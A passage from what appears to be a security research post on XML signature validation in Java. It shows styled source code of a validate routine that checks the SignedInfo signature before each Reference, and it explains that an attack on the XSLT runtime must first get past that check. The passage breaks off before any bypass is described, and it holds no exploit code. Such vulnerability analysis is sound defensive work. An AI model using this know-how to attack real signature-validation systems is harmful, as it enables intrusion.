10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">true</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">// validate all References</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">@SuppressWarnings</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"unchecked"</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">List</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refs </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">this</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">si</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">getReferences</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">();</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">boolean</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validateRefs </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">true</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">for</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">int</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> i </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> size </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refs</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">size</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">();</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validateRefs </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&&</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> i </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> size</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> i</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">++)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ref</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refs</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">get</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">i</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">boolean</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refValid </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ref</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validate</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">vc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">B</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> LOG</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">debug</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"Reference [{}] is valid: {}"</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ref</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">getURI</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(),</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refValid</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validateRefs </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> refValid</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(!</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validateRefs</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> LOG</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">debug</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"Couldn't validate the References"</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">false</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validated </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">true</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[..]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As we can see, the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validate</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> method first validates the signature of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element in (A) before validating all the references in (B). This means that an attack against the XSLT runtime will require a valid signature for the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element and we’ll discuss later how an attacker can bypass this requirement.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The call to </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ref.validate()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> in (B) ends up in the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">DomReference.validate</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: 